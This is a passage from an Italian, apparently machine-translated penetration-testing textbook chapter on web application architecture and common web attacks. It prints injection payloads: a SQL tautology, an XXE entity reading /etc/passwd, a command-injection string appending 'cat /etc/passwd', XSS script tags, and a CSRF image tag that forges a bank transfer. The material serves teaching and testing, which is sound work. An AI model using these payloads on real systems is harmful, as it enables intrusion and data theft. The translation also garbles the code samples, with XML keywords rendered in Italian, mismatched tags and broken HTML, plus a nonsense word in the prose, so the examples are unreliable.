utilizzate e il server web stesso potrebbe diventare un punto di partenza
per ulteriori attacchi contro altri sistemi.
Server applicativo
Il cuore dell'applicazione web è solitamente il server applicativo . Nelle
implementazioni di applicazioni più piccole, con meno requisiti di risorse,
questo potrebbe essere effettivamente il server web, o potrebbe essere un
software che gira sul server web. Lo stesso potrebbe essere vero per
alcune delle altre funzioni descritte qui, dove ogni singolo server potrebbe
svolgere più funzioni anziché una singola funzione. Il server applicativo
potrebbe coesistere con il server web, ad esempio. L'implementazione
dipenderà dalle esigenze dell'applicazione.
I server applicativi accettano anche HTTP e generano HTML da inviare di
nuovo. Potrebbe anche esserci comunicazione tramite XML o
JSON tra il client e il server applicativo. XML e JSON sono modi per
raggruppare i dati da inviare al server applicativo o da presentare
all'applicazione. Il server applicativo sarà comunemente dipendente dal
linguaggio. Può essere basato su Java, .NET (C# o Visual Basic) o persino
linguaggi di scripting come Ruby o Python. Oltre al linguaggio di
programmazione utilizzato per eseguire le funzioni aziendali e generare il
codice di presentazione, il server applicativo dovrebbe anche parlare
qualsiasi linguaggio in cui sono archiviati i dati (SQL, XML, ecc.).
Il server applicativo implementa la logica aziendale, il che significa che
gestisce il funzionamento critico dell'applicazione, determinando cosa
presentare all'utente. Queste decisioni sono comunemente basate su
informazioni fornite dall'utente o archiviate per conto dell'utente. I dati
archiviati possono essere archiviati localmente o, forse più comunemente,
utilizzando una sorta di meccanismo di archiviazione backend come un
server di database. Il server applicativo sarebbe responsabile del
mantenimento di qualsiasi informazione di stato poiché HTTP è un
protocollo senza stato, il che significa che ogni richiesta da un client viene
effettuata in modo isolato senza l'aiuto di altri meccanismi.
Un server applicativo avrà comunemente l'applicazione in uno stato precostruito piuttosto che in forma di codice sorgente. Ciò sarebbe diverso,
ovviamente, se il server applicativo fosse basato su un linguaggio di
scripting. Mentre quei linguaggi possono essere compilati, spesso vengono
lasciati nella loro forma basata su testo. Se un server applicativo dovesse
essere compromesso, la funzionalità del server potrebbe essere
manipolata se il codice sorgente fosse a posto.
Peggio ancora, tuttavia, il server applicativo è generalmente il gateway per
informazioni sensibili. Ciò dipenderebbe interamente dall'applicazione, ma
il server applicativo sarebbe responsabile del recupero e della
manipolazione di tutti i dati per l'applicazione. L'applicazione deve quindi
essere in grado di accedere ai dati, ovunque siano archiviati. Ciò significa
che sa dove potrebbero essere i file, oppure avrebbe bisogno delle
credenziali per qualsiasi server di database utilizzato. Tali credenziali
potrebbero essere prese e utilizzate per ottenere l'accesso diretto ai dati se
il server applicativo dovesse essere compromesso.
Server di database
Il server del database è dove sono archiviati i gioielli della corona. Questo,
ancora una volta, dipende interamente dall'applicazione. I gioielli della
corona possono essere l'inventario di un'azienda, dove un utente potrebbe
determinare se un'azienda vende un prodotto particolare, oppure possono
essere informazioni sulla carta di credito o credenziali utente. Tutto ciò che
è essenziale per l'azienda, o almeno per l'applicazione, verrebbe archiviato
qui. Dipenderebbe interamente dallo scopo dell'applicazione e da ciò che
l'azienda ha determinato fosse importante da archiviare. Questo è un
archivio persistente, anche se un server che si trova nel mezzo del flusso di
informazioni tra il database e il client potrebbe ottenere un accesso
temporaneo ai dati mentre passano. Il posto più affidabile per ottenere
l'accesso ai dati, tuttavia, è il database.
Una delle sfide con i database è che se un aggressore può inoltrare
richieste attraverso di essi o può ottenere accesso al server del database
stesso, i dati potrebbero essere compromessi. Anche se i dati fossero
crittografati in trasmissione o crittografati su disco, i dati potrebbero essere
rubati. Se un aggressore può accedere alle credenziali di cui il server
applicativo ha bisogno per accedere ai dati, l'aggressore potrebbe allo
stesso modo accedere ai dati nel database interrogandoli. Una volta che un
utente è stato autenticato sul server del database, è irrilevante che i dati
siano crittografati da qualche parte perché devono essere decrittografati
dal server del database per essere presentati al richiedente.
A causa della possibile sensibilità delle informazioni nel database e del
potenziale di compromissione, questo server è probabilmente in cima alla
lista dei sistemi chiave, se non in cima. Per questo motivo, potrebbero
essere in atto altri meccanismi per proteggere meglio questo sistema.
Ognuno degli elementi all'interno dell'architettura può esporre i dati
archiviati in questo sistema, quindi idealmente sono in atto meccanismi su
tutti per garantire che i dati non vengano compromessi. I dati archiviati qui
sono un obiettivo comune dei diversi attacchi basati sul Web, ma non sono
l'unico obiettivo.
Progettazione nativa del cloud
Mentre le architetture basate sul Web avranno generalmente lo stesso
design di base con un livello di presentazione (il browser o l'applicazione
mobile), un livello di applicazione (il server Web e/o il server applicativo) e
un livello di archiviazione (database o altro storage persistente), il modo in
cui viene implementato varierà. Oggi, troverai spesso applicazioni basate
sul Web che sono state implementate con provider di servizi cloud.
Invece di un'implementazione rigida in cui ogni elemento ha il suo sistema,
fisico o virtuale, esiste un modo di approcciare la progettazione di
applicazioni che è diventato noto come cloud-native . Il motivo è che i
servizi basati su cloud hanno consentito un approccio alla progettazione
altamente flessibile e reattivo. Inoltre, i provider cloud hanno fornito molte
capacità alle aziende che normalmente non sarebbero in grado di
implementare da sole.
Un approccio comune è quello di utilizzare microservizi, il che significa che
le funzioni o le capacità sono suddivise in elementi più piccoli
implementazioni rispetto alle macchine virtuali. Potresti implementare un
piccolo componente in un contenitore, che è un modo per virtualizzare
applicazioni o componenti applicativi. Un contenitore è leggero e protegge
i componenti applicativi l'uno dall'altro a livello di kernel. Ogni
componente passerà messaggi ad altri componenti utilizzando dispositivi
come code di messaggi o bus di informazioni. Oltre ai contenitori, i
provider cloud possono anche offrire opzioni di elaborazione senza server
come la possibilità di scrivere una funzione che non è legata a
un'applicazione in senso tradizionale e non ha virtualizzazione tramite
contenitori o sistemi. Invece, un framework attiva la chiamata di funzione
perché arriva un evento. La funzione viene eseguita e la sua esecuzione,
incluso il luogo in cui viene eseguita, è gestita dal provider cloud.
C'è molto di più nel design cloud-native, ma la virtualizzazione e
l'isolamento sono principi importanti. Si basa anche sul modo in cui è
progettato il frontend dell'applicazione, che in pratica riceve messaggi da
dispositivi remoti e agisce su tali messaggi.
Attacchi basati sul Web
Poiché così tanti siti web hanno elementi programmatici e il servizio è
spesso esposto a Internet aperto, diventano dei bei bersagli per gli
aggressori. Naturalmente, gli attacchi non devono necessariamente
presentarsi sotto forma di invio di dati dannosi all'applicazione, sebbene
siano comuni. Tieni presente che la motivazione non è sempre la stessa.
Non tutti gli aggressori cercano di ottenere l'accesso completo al database.
Potrebbero non cercare di ottenere una shell sul sistema di destinazione.
Invece, potrebbero avere motivazioni otautomeriche. Man mano che la
tela per lo sviluppo di applicazioni web si espande con più framework, più
linguaggi e più protocolli e tecnologie di supporto, la minaccia aumenta.
NOTA
Una violazione dei dati molto significativa, la violazione dei dati Equifax, è stata causata da un
framework utilizzato per sviluppare il sito Web. Una vulnerabilità in quel framework, rimasta senza
patch molto tempo dopo che il problema era stato risolto e annunciato, è stata sfruttata dagli
aggressori, che sono riusciti a rubare i record di circa 148 milioni di persone.
Spesso, gli attacchi sono il risultato di una sorta di attacco di iniezione:
l'attaccante invia input dannosi all'applicazione, che li tratta come se
fossero legittimi. Questo è il risultato di un problema con la convalida dei
dati; l'input non è stato verificato prima di agire. Non tutti gli attacchi,
però, sono attacchi di iniezione. Altri attacchi utilizzano intestazioni o sono
il risultato di una forma di ingegneria sociale, in cui l'aspettativa è che
l'utente non si accorga che qualcosa non va mentre accade. Di seguito sono
riportate le spiegazioni di alcuni degli attacchi web più comuni per darti
un'idea migliore di cosa viene testato quando inizieremo a esaminare gli
strumenti un po' più avanti.
Mentre esamini questi tipi di attacco, tieni a mente il bersaglio dell'attacco.
Ogni attacco può colpire un elemento diverso dell'intera architettura
dell'applicazione, il che significa che l'attaccante ottiene accesso a
componenti diversi con set di dati diversi per ottenere risultati diversi. Non
tutti gli attacchi sono creati uguali.
Iniezione SQL
È difficile contare il numero di applicazioni web che utilizzano un database
per l'archiviazione, ma in proporzione è probabile che sia grande. Anche se
non è necessaria l'archiviazione persistente delle informazioni utente, un
database potrebbe aiutare a guidare l'applicazione nel contenuto
presentato. Questo potrebbe essere un modo per popolare informazioni
mutevoli senza dover riscrivere le pagine di codice. Basta scaricare il
contenuto nel database e quel contenuto viene renderizzato quando un
utente chiama. Ciò significa che se si sta cercando di attaccare
un'applicazione web, in particolare una che comporta un'interazione
significativa con l'utente, un database è probabilmente dietro tutto questo,
il che rende questo un problema significativo quando si testa
l'applicazione.
Structured Query Language (SQL) è un modo standard per inviare query a
database relazionali. Esiste in una forma o nell'altra da decenni ed è un
linguaggio comune utilizzato per comunicare con i database dietro
l'applicazione web. Una query comune a un database, che cerca di estrarre
informazioni,
potrebbe
essere
simile
a
"SELECT
*
FROM
mydb.mytable
WHERE userid = 567" . Questo indica al server SQL di recuperare
tutti i record da mytable nel database mydb in cui il valore nella colonna
denominata userid è uguale a 567 . La query verrà eseguita attraverso tutte
le righe nel database alla ricerca di risultati corrispondenti. I risultati
verranno restituiti in una tabella con cui l'applicazione dovrà fare qualcosa.
Se stai lavorando con un'applicazione web, tuttavia, probabilmente non stai
utilizzando
valori
costanti
come
567.
Invece,
l'applicazione
sta
probabilmente utilizzando una variabile come parte della query. Il valore
all'interno della variabile viene inserito nella query appena prima che la
query venga inviata al server del database. Quindi, potresti avere qualcosa
come "SELECT * FROM mydb.mytable WHERE username = '",
username, "';" . Nota le virgolette singole all'interno delle virgolette
doppie. Sono necessarie per comunicare al server del database che stai
fornendo un valore stringa. Il valore della variabile username verrebbe
inserito nella query. Diciamo, però, che l'attaccante dovesse immettere
qualcosa come ' OR '1' = '1 . Ciò significa che la query passata al
server apparirebbe così: "SELECT * FROM mydb.mytable WHERE
username = '' OR '1' = '1';" .
Poiché 1 è sempre uguale a 1 e l'attaccante ha utilizzato il
Operatore booleano OR, ogni riga restituirà true . L'operatore booleano OR
afferma che se uno dei due lati dell'OR è true, l'intera istruzione è true. Ciò
significa che ogni riga verrà valutata rispetto a quella query e 1 = 1
restituirà sempre true , quindi l'intera istruzione verrà valutata come true e
la riga verrà restituita.
Questo è un esempio semplicistico. Spesso sono in atto delle mitigazioni
per attacchi semplici come questo, ma il concetto rimane lo stesso.
L'attaccante invia SQL in un campo del modulo da qualche parte,
aspettandosi che ciò che viene inserito arrivi fino al database per essere
eseguito lì. Questo è un attacco di iniezione SQL, ovvero l'iniezione di
istruzioni SQL sintatticamente corrette e accurate nel flusso di input,
sperando che tale SQL venga eseguito dal server del database per ottenere
un determinato risultato. Utilizzando un attacco di iniezione SQL,
l'attaccante potrebbe inserire dati, eliminare dati, ottenere l'accesso
all'applicazione forzando un login fasullo a restituire true o forse persino
ottenere una backdoor installata sulla macchina di destinazione.
Iniezione di entità XML
In sostanza, tutti gli attacchi di iniezione sono uguali. L'attaccante invia
qualcosa nel flusso di input, sperando che l'applicazione lo elabori nel
modo in cui desidera. In questo caso, l'attaccante si affida al fatto che le
applicazioni spesso utilizzano XML per trasmettere dati dal client al server.
Le applicazioni lo fanno perché consente di inviare dati strutturati e
complessi in un singolo bundle anziché come un elenco parametrizzato. Il
problema riguarda il modo in cui l'XML viene elaborato sul lato server.
NOTA
JavaScript e XML asincroni (Ajax) sono un modo in cui le applicazioni web aggirano il fatto che HTTP e
HTML da soli, come erano originariamente concepiti per funzionare i server web, richiedono all'utente
di avviare una richiesta. Ciò avviene andando direttamente a un URL o cliccando su un collegamento o
un pulsante. Gli sviluppatori di applicazioni avevano bisogno di un modo per consentire al server di
inviare dati all'utente senza che l'utente avviasse la richiesta. Ajax gestisce questo problema inserendo
JavaScript nella pagina che poi viene eseguita all'interno del browser. Lo script gestisce l'esecuzione
delle richieste per continuare ad aggiornare la pagina se i dati in essa contenuti sono soggetti a
cambiamenti costanti.
Questi attacchi di iniezione finiscono per funzionare a causa di un'entità
esterna XML (XXE). Nell'XML inviato al server, c'è un riferimento a qualcosa
all'interno del sistema operativo. Se il parser XML è configurato in modo
improprio e consente questi riferimenti esterni, un aggressore può
ottenere l'accesso a file o altri sistemi all'interno della rete. L'esempio 8-1
mostra un campione di XML che potrebbe essere utilizzato per restituire
un file sul sistema che gestisce il
Formato XML.
Esempio 8-1. Esempio di entità esterna XML
<?xml versione="1.0" codifica="ISO-8859-1"?>
<!DOCTYPE wubble [
<!ELEMENT wubble QUALSIASI >
<!ENTITY xxe SISTEMA "file:///etc/passwd" >]>
<foo>&xxe;</wubble>
L'entità esterna è referenziata come xxe e, in questo caso, è una chiamata
al SISTEMA che cerca un file. Ovviamente, il file /etc/passwd ti darà solo un
elenco di utenti. Non otterrai hash delle password da esso, anche se
l'utente del server web probabilmente non ha accesso al file /etc/shadow .
Questa non è l'unica cosa che puoi fare con un attacco di iniezione XML,
però. Invece di un riferimento a un file, potresti aprire un URL remoto. Ciò
potrebbe consentire a un server rivolto all'esterno di fornire contenuti da
un server che si trova solo all'interno della rete. L'XML sarebbe simile,
tranne per la riga !ENTITY . L'esempio 8-2 mostra la riga !ENTITY che fa
riferimento a un server web con un indirizzo privato che non sarebbe
instradabile su Internet.
Esempio 8-2. L'entità esterna XML per un URL interno
<!ENTITY xxe SYSTEM "https://192.168.1.1/private
Un altro attacco che potrebbe essere usato con questo è quello di fare
riferimento a un file che non si chiuderebbe mai. Su un sistema operativo
simile a Unix, potresti fare riferimento a qualcosa come /dev/urandom ,
che non avrebbe mai un marcatore di fine file perché continua a inviare
valori casuali. Ci sono altri pseudodispositivi simili su Linux e altri sistemi
operativi simili a Unix. Se venisse usato questo tipo di attacco, il server web
o l'applicazione potrebbero smettere di funzionare correttamente,
causando un diniego di servizio.
Iniezione di comando
di iniezione di comando prendono di mira il sistema operativo del server
web. Con questo tipo di attacco, qualcuno potrebbe trarre vantaggio da un
campo di un modulo che viene utilizzato per passare qualcosa al sistema
operativo. Se hai una pagina web che ha un qualche tipo di controllo del
dispositivo sottostante o offre un qualche tipo di servizio (ad esempio,
esegue una ricerca whois ), potresti essere in grado di inviare un comando
del sistema operativo. In teoria, se avessi una pagina che utilizza il
comando whois dal sistema operativo, il linguaggio in cui è stata scritta
l'applicazione farebbe qualcosa come una chiamata di funzione di sistema ,
passando whois seguito da quello che dovrebbe essere un nome di
dominio o un indirizzo IP.
Con questo tipo di attacco, è utile conoscere il sistema operativo
sottostante in modo da poter passare i comandi appropriati e utilizzare il
delimitatore di comando corretto. Supponiamo che sia un sistema Linux.
Linux utilizza ; (punto e virgola) come delimitatore di comando. Quindi,
potremmo fare qualcosa come passare "wubble.com; cat /etc/passwd" al
campo del modulo. Ciò completerebbe il comando whois eseguito con il
nome di dominio wubble.com . Il delimitatore quindi dice, "Aspetta un
secondo, ho un altro comando da eseguire dopo che il primo è terminato".
Quindi, il sistema operativo eseguirà anche il comando successivo. Tutto
l'output da entrambi verrebbe reimmesso nella pagina presentata
all'utente. Ciò mostrerebbe l' output whois ma anche il contenuto del file
/etc/passwd .
Questo attacco prende di mira il server che elabora qualsiasi comando di
sistema che si intende eseguire. Qualsiasi comando che può essere
eseguito dall'utente proprietario del processo può essere passato. Ciò
significa che un aggressore può ottenere il controllo del sistema. Questo è
probabilmente il server web, ma potrebbe essere anche il server
applicativo.
Un buon modo per mettere in pratica gli attacchi alle applicazioni web con
vari gradi di difficoltà è procurarsi una copia di Damn Vulnerable Web
Application (DVWA). La Figura 8-2 mostra l'utilizzo della sezione di
iniezione di comandi di DVWA con la sicurezza impostata su bassa solo per
dimostrare l'attacco di iniezione di comandi.
Figura 8-2. Iniezione di comando
Nei risultati mostrati puoi vedere che l'applicazione ha eseguito un ping di
un indirizzo IP fornito. Aggiunto alla fine dell'indirizzo IP dopo un punto e
virgola (;) c'è il comando cat /etc/passwd , quindi vedrai il contenuto di
quel file visualizzato di nuovo nel browser poiché l'output del comando cat
viene restituito all'output inviato al browser per la visualizzazione
all'utente.
Script tra siti
Finora, gli attacchi si sono concentrati sul lato server. Non tutti gli attacchi,
però, sono concentrati sui server o sull'infrastruttura web che ospita
l'applicazione. In alcuni casi, il bersaglio è l'utente o qualcosa che l'utente
ha. Questo è il caso del cross-site scripting. Il cross-site scripting è un altro
attacco di iniezione, ma in questo caso, l'iniezione è un linguaggio di
scripting che verrà eseguito nel contesto del browser dell'utente.
Comunemente, il linguaggio utilizzato è JavaScript poiché è
ragionevolmente universale. Possono essere utilizzati anche altri linguaggi
di scripting che possono essere eseguiti all'interno di un browser, come
Visual Basic Script (VBScript), sebbene possano dipendere dalla
piattaforma.
Esistono due tipi di attacco cross-site scripting. Uno è persistente . Un
attacco cross-site scripting persistente memorizza lo script sul server web.
Tuttavia, non farti confondere da questo. Solo perché lo script è
memorizzato sul server web non significa che il server web sia il bersaglio.
Lo script non viene eseguito sul server più di quanto non lo sia l'HTML. In
ogni caso, il browser elabora il linguaggio. Con HTML, il linguaggio dice al
browser come rendere la pagina. Con qualcosa come JavaScript, lo script
può far fare al browser qualsiasi cosa il linguaggio e il contesto del browser
consentano. I browser in genere utilizzano il sandboxing per isolare una
scheda dall'altra.
Con lo scripting cross-site persistente, l'attaccante trova un sito Web che
consente l'archiviazione e il successivo recupero e visualizzazione dei dati
forniti dall'utente. Quando ciò accade, l'attaccante può caricare uno script
nel server che verrà visualizzato agli utenti che in seguito visiteranno la
pagina. Questo è un buon modo per attaccare facilmente diversi sistemi.
Chiunque visiti la pagina eseguirà lo script, eseguendo qualsiasi funzione
desiderata dall'attaccante. Un modo semplice per testare una vulnerabilità
di scripting cross-site è caricare qualcosa come
<script>alert(wubble);</script> in un campo che porta all'archiviazione
persistente. Una delle prime vie di attacco erano i forum di discussione.
L'attaccante poteva caricare un forum con un attacco e attendere che le
persone venissero a visitarlo.
Il fatto è che potresti pensare che una facile mitigazione sia semplicemente
bloccare i caratteri < e >. Ciò impedisce che i tag vengano memorizzati e
interpretati in seguito come uno script effettivo da eseguire da parte del
browser. Tuttavia, ci sono modi per aggirare questo tipo di controlli di input
limitati.
MANCIA
Il cross-site scripting persistente è talvolta noto anche come stored cross-site scripting . Analogamente,
il cross-site scripting riflesso è talvolta noto come nonpersistent cross-site scripting .
L'altro tipo di attacco cross-site scripting è chiamato " reflected cross-site
scripting" . Invece di essere archiviato su un server in modo che qualcuno
possa visitarlo in seguito, questo tipo richiede che lo script faccia parte di
un URL che viene poi inviato agli utenti. Questo tipo di attacco sembra, in
sostanza, persistente nel senso che dovresti comunque generare uno script
che possa essere eseguito nel browser. L'attacco "reflected" richiede un
paio di altre cose, però. Innanzitutto, alcuni caratteri non sono consentiti
come parte di un URL. Ciò richiede che alcuni dei caratteri siano codificati
in URL.
Il processo di codifica URL è semplice. In questo modo è possibile rendere
qualsiasi carattere, ma alcuni devono essere codificati. Ad esempio, lo
spazio non può far parte di un URL perché il browser considererebbe l'URL
completo quando colpisce lo spazio e non considererebbe nulla oltre a
quello. Per codificare URL, è necessario cercare il valore ASCII per il
carattere e convertire il valore decimale in esadecimale, se necessario. Una
volta fatto ciò, si aggiunge % (percentuale) all'inizio del valore e si ottiene
un carattere che è stato codificato URL. Ad esempio, uno spazio viene reso
come %20. Il valore esadecimale 20 è 32 in decimale (16 × 2) e questo è il
valore ASCII per il carattere spazio. In questo modo è possibile convertire
qualsiasi carattere nella tabella ASCII.
La seconda cosa che probabilmente dovrebbe accadere è che l'URL
dovrebbe essere nascosto o oscurato in qualche modo. Puoi farlo
ancorando il testo al link in un'e-mail. Dopo tutto, se dovessi ricevere un'email con questo, probabilmente non ci cliccheresti:
http://www.rogue.com/somescript.php?
%3Cscript%3Ealert(%22hi%20there!%22)%3B%3C%2Fscript%3E
.
Il target, come notato in precedenza, è il client che si connette al sito web.
Lo script potrebbe fare qualsiasi cosa, incluso recuperare dati dal client e
inviarli a un aggressore. Tutto ciò a cui il browser può accedere potrebbe
essere gestito o manipolato. Ciò crea una minaccia per l'utente, piuttosto
che una minaccia per l'organizzazione o la sua infrastruttura. Il sito web
dell'organizzazione è solo il meccanismo di consegna a causa di
un'applicazione o di uno script che fa un pessimo lavoro di convalida degli
input.
Falsificazione delle richieste tra siti
Un attacco cross-site request forgery (CSRF) crea una richiesta che sembra
essere associata a un sito quando, in realtà, è diretta a un altro sito. O,
detto in altri termini, un utente visita una pagina che si trova sul sito X o
sembra essere sul sito X quando in realtà una richiesta su quella pagina
viene richiesta al sito Y. Per comprendere questo attacco, è utile sapere
come funziona HTTP e come funzionano i siti web. Per capirlo, diamo
un'occhiata a un semplice codice sorgente HTML nell'Esempio 8-3 .
Esempio 8-3. Esempio di codice sorgente HTML
<html>
<head><title>Questo è un titolo</title></head>
<link rel="stylesheet" type="text/css"
href="pagina
<corpo>
<h1>Questa è un'intestazione</h1> <p>Bacon ipsum
dolor amet burgdoggen stinco grou lombo di
maiale. Brisket maiale polpettone picanha mucca.
Pi lingua di maiale salsiccia costine di maiale
prosciutto stinco tacchino cappuccio doner
ribeye. Alcatra chuck costolette corte frankfurte
filet mignon kielbasa. Costine di manzo picanha
bacon ca cupim boudin. Lombo corto hamburger tbone fatback picanha burgdoggen.</p> <img src="
<a href="/anotherpage.html">Questo è un
collegamento</a>
<img src="/immagini/immagine.png">
</corpo>
</html>
Quando un utente visita questa pagina in particolare, il browser invia una
richiesta GET al server web. Mentre il browser analizza l'HTML per
renderla, si imbatte nel riferimento a pagestyle.css ed invia un'altra
richiesta GET per quel documento. In seguito, vede che c'è un'immagine e,
per renderla, invia un'altra richiesta GET al server. Per questa immagine in
particolare, esiste sullo stesso server in cui si trova la pagina, poiché il
riferimento alla pagina è relativo anziché assoluto. Tuttavia, qualsiasi
riferimento trovato nella fonte qui potrebbe puntare a un altro sito web,
ed è qui che ci imbattiamo in un problema.
Tieni presente che quando viene trovato un tag img , il browser invia una
richiesta GET. Poiché è così, non c'è una ragione particolare per cui il tag
img debba includere un'immagine effettiva. Diciamo che invece di
un'immagine, hai <img src="http://www.bank.com/ transfer.php?
fromacct=5788675&toacct=875791&amount=5000"> . Ciò genererebbe
una richiesta GET a quell'URL con quei parametri. Idealmente, una richiesta
che prevedeva di apportare una modifica genererebbe una richiesta POST,
ma alcune applicazioni accettano richieste GET al posto della preferita
POST.
Il target qui è l'utente. Idealmente, l'utente ha le credenziali memorizzate
nella cache per il sito e la pagina di riferimento. Ciò consentirebbe alla
richiesta di avvenire in segreto , per così dire. L'utente probabilmente non
vedrebbe mai nulla accadere se la negoziazione con il server è pulita,
ovvero le credenziali sono memorizzate nella cache (c'è un cookie
corrente) e vengono passate tra il client e il server senza alcun intervento.
In alcuni casi, forse all'utente viene chiesto di accedere al server. L'utente
potrebbe non capire cosa sta succedendo, ma se non è molto sofisticato,
potrebbe immettere le proprie credenziali, consentendo alla richiesta di
avvenire.
Questo è un altro caso in cui il bersaglio è l'utente, o potenzialmente il
sistema dell'utente, ma l'attacco è favorito da ciò che potrebbe essere
considerato una cattiva pratica da parte del team di sviluppo web. È lo
script che viene chiamato che consente all'attacco di verificarsi.
Dirottamento di sessione
Uno degli svantaggi dell'HTTP così come è stato progettato è che è
completamente senza stato. Il server, secondo le specifiche del protocollo,
non ha consapevolezza dei client o di dove si trovano in una transazione
per acquisire file e dati. Il server non ha consapevolezza del contenuto del
file per sapere se i client devono essere tenuti a inviare richieste
aggiuntive. Come notato in precedenza, tutta l'intelligenza rispetto alle
richieste che vengono effettuate è sul lato del browser e le richieste
esistono in completo isolamento dal punto di vista del server.
Ci sono molte ragioni per cui potrebbe essere utile per il server avere una
certa consapevolezza del client e sapere se ha già visitato il sito in
precedenza. Ciò è particolarmente vero quando si tratta di vendere
qualcosa online. Non esiste un carrello della spesa che tenga traccia degli
articoli che vuoi acquistare senza una consapevolezza dello stato. Non
esiste un modo per autenticare un utente e mantenerlo in uno stato
"connesso". Deve esserci un modo per conservare le informazioni tra le
richieste. Ecco perché esistono i cookie. Un cookie è un modo per
archiviare piccole quantità di dati che vengono passate avanti e indietro tra
il server e il client.
Tuttavia, stiamo parlando di dirottamento di sessione. Un tipo di cookie è
un identificatore di sessione . Questa è una stringa generata
dall'applicazione e inviata al client dopo che il client si è autenticato.
L'identificatore di sessione consente al server di sapere, quando viene
restituito dal client, che il client ha superato l'autenticazione. Il server
convalida quindi l'identificatore di sessione e consente al client di
continuare. Gli identificatori di sessione avranno un aspetto diverso in base
all'applicazione che li ha generati, ma idealmente vengono creati
utilizzando informazioni del client. Ciò impedisce che vengano rubati e
riutilizzati. Puoi vedere un esempio di token di sessione nell'Esempio 8-4 .
Esempio 8-4. Intestazioni HTTP che includono l'identificazione della
sessione
Host: www.amazon.com
Agente utente: Mozilla/5.0 (Macintosh; Intel Mac
OS
(KHTML, come Gecko) Versione/17.0 Safari/605.1.15
Accetta: */*
Accetta-Lingua: en-US,en;q=0.5
Codifica di accettazione: gzip, deflate, br
Referente:
https://www.amazon.com/?ref_=nav_ya_sign
X-Requested-With: XMLHttpRequest Cookie:
skin=noskin; session-id=137-0068639-13194 csmhit=tb:s-PJB1RYKVT0R6BDGMN821|1520569461535&a xwl-uid=1HWKHMqcArB0rSj86npAwn3rqkjxiK9PBt7W0IX+
K0PfVQWcZMpwJzrdfxlTLg+75m3m4kERfshgmVwHv1vHIwOf5
KV6DC0w=; ubid-main= Tel. 132-7325828-9417912;
token di
sessione="xUEP3yKlbl+lmdw7N2esvuSp61vlnPAG+9
jFkcrsx6HkP1I7JGbWFcHzyXLEBHohy392qYLmnKOrYp0fOAE
RdG1ySv/8mQ/2tc+rmkZa/3EYmMu7D4dS3A+p6MR55jTHLKZ5
2yt8SKx+JS/vsK9P/SB2xHvf8TYZGnLv2bIKQhxsoveHDfrEg
/fuU1I3u/g=="; a-ogbcbff=1; x-main=iJbCUgzFdsGJcU
at-main=Atza|IwFBIC8tMgMtxKF7x70caK7RB7Jd57ufok4b
zBfBALvcPqhxSjBThdCEPRzUpdZ4hteLtvLmRd3-6KlpF9lk3
YZUKPMgnFgWf8nCkxfZX296BIrlueXNkvw8vF85I-iipda0qZ
HHV-KWkioyS9k82HOJavEaZbUOsx8ZTF-UPkRUDhHl8Dfm5rV
PE3gNdULvtqPpqqyGcWLAxP6Bd3RXiMB3--OfGPUFZ6yZRda
0d0Oqsaoc0ljWs7HszK-NgdegyoG8Ah_Y-hK5ryhG3sf-DXcM
sess-at-main="iNsdlmsZIQ7KqKU1kh4hFY1+B/ZpGYRRefz
sst-main=Sst1|PQFuhjuv6xsU9zTfH344VUfbC4v2qN7MVw
WT33Alz4jljZV6WqKm5oRtlP9sxDEf3w4-WbKA87X7JFduwMw
vBbrD6EXQN9u7l3iR3Y7WuFeJqN3t_dyBLA-61tk9oW1Qbdfh
CNBiFTI_5gZ12cIy4KpHTMyEFeLW6XBfv1Q8QFn2y-yAqZzVd
Q6H-1OYPvWAqmTNQ7ao6tSrpIBeJtB7kcaaeZ5Wpu1A7myEXp
hceUQ; lc-main=en_US Connessione: keep-alive
Prima che tu ti esalti troppo, questo set di token è stato modificato.
L'identificativo di sessione qui è stato vincolato nel tempo, il che aiuta
anche a prevenire tentativi di dirottamento della sessione. Puoi vedere
l'intestazione che indica l'ora in cui è stato creato l'identificativo di
sessione. Ciò suggerisce che c'è un limite di tempo che viene controllato
dal server. Se un aggressore dovesse ottenere le mie informazioni di
identificazione della sessione, avrebbe un lasso di tempo limitato per
utilizzarle. Inoltre, con un identificatore di sessione come questo, dovrebbe
essere vincolato al mio dispositivo, il che significa che non può essere
copiato e utilizzato altrove.
Un attacco di dirottamento di sessione prende di mira l'utente per
ottenerne i privilegi. L'attacco richiede che l'identificativo di sessione venga
intercettato. Ciò può accadere con un attacco man-in-the-middle, in cui il
traffico viene intercettato. Ciò potrebbe significare che l'aggressore
intercetta il traffico web attraverso il suo flusso regolare o reindirizza il
traffico. Ciò potrebbe essere fatto con un attacco snooping, ad esempio.
Dall'esempio si può vedere che i siti di commercio usano identificatori di
sessione. Anche gli utenti medi devono preoccuparsi del dirottamento di
sessione, poiché non sempre, e forse nemmeno regolarmente, si tratta di
attaccare un'azienda per ottenere l'accesso ai sistemi. A volte si tratta
semplicemente di furto. Se gli identificatori di sessione potessero essere
dirottati, il tuo account Amazon potrebbe essere usato per ordinare beni
che potrebbero essere rivenduti in seguito. Il tuo conto bancario potrebbe
essere dirottato per trasferire denaro. Questo non significa affatto che uno
di questi due sia esposto a questo attacco oggi, soprattutto perché aziende
come Amazon richiedono che le informazioni vengano convalidate
nuovamente prima che vengano apportate modifiche alle informazioni di
spedizione.
Utilizzo dei proxy
Un server proxy viene utilizzato per inoltrare le richieste in modo che la
richiesta sembri essere effettuata per conto del server proxy piuttosto che
del sistema dell'utente. Questi sistemi vengono spesso utilizzati per filtrare
le richieste in modo che gli utenti non vengano indirizzati a siti dannosi o, a
volte, a siti che non sono specificamente correlati all'attività aziendale.
Possono essere utilizzati per catturare messaggi da un client a un server, o
viceversa, per garantire che nessun malware raggiunga la rete aziendale.
Possiamo usare la stessa idea per eseguire test di sicurezza. Poiché ai
server proxy vengono inviate richieste, che possono poi essere modificate
o eliminate, sono utili per i test. Possiamo intercettare le normali richieste
effettuate per modificare i valori al di fuori dei parametri previsti. Ciò ci
consente di superare qualsiasi filtraggio eseguito tramite script all'interno
della pagina. Il server proxy viene sempre colpito dopo che uno script ha
eseguito una sanificazione. Se l'applicazione Web si basa quasi interamente
sul filtraggio nel browser, qualsiasi modifica apportata in seguito può
causare l'arresto anomalo dell'applicazione.
I test basati su proxy ci consentono di attaccare il server in modo
programmatico in diversi modi. Possiamo vedere tutte le pagine a cui si
accede mentre un utente lavora su un sito Web per comprendere il flusso
dell'applicazione. Questo può aiutare quando si tratta di test, poiché la
modifica del flusso dell'applicazione può causare errori in essa.
Un'altra cosa che i test basati su proxy possono fare è consentirci di
autenticarci manualmente, poiché a volte l'autenticazione programmatica
è impegnativa, se l'applicazione è scritta bene. Se autentichiamo
manualmente, il proxy trasporta l'identificativo di sessione che indica
all'applicazione che è autenticata. Se non possiamo autenticarci alle
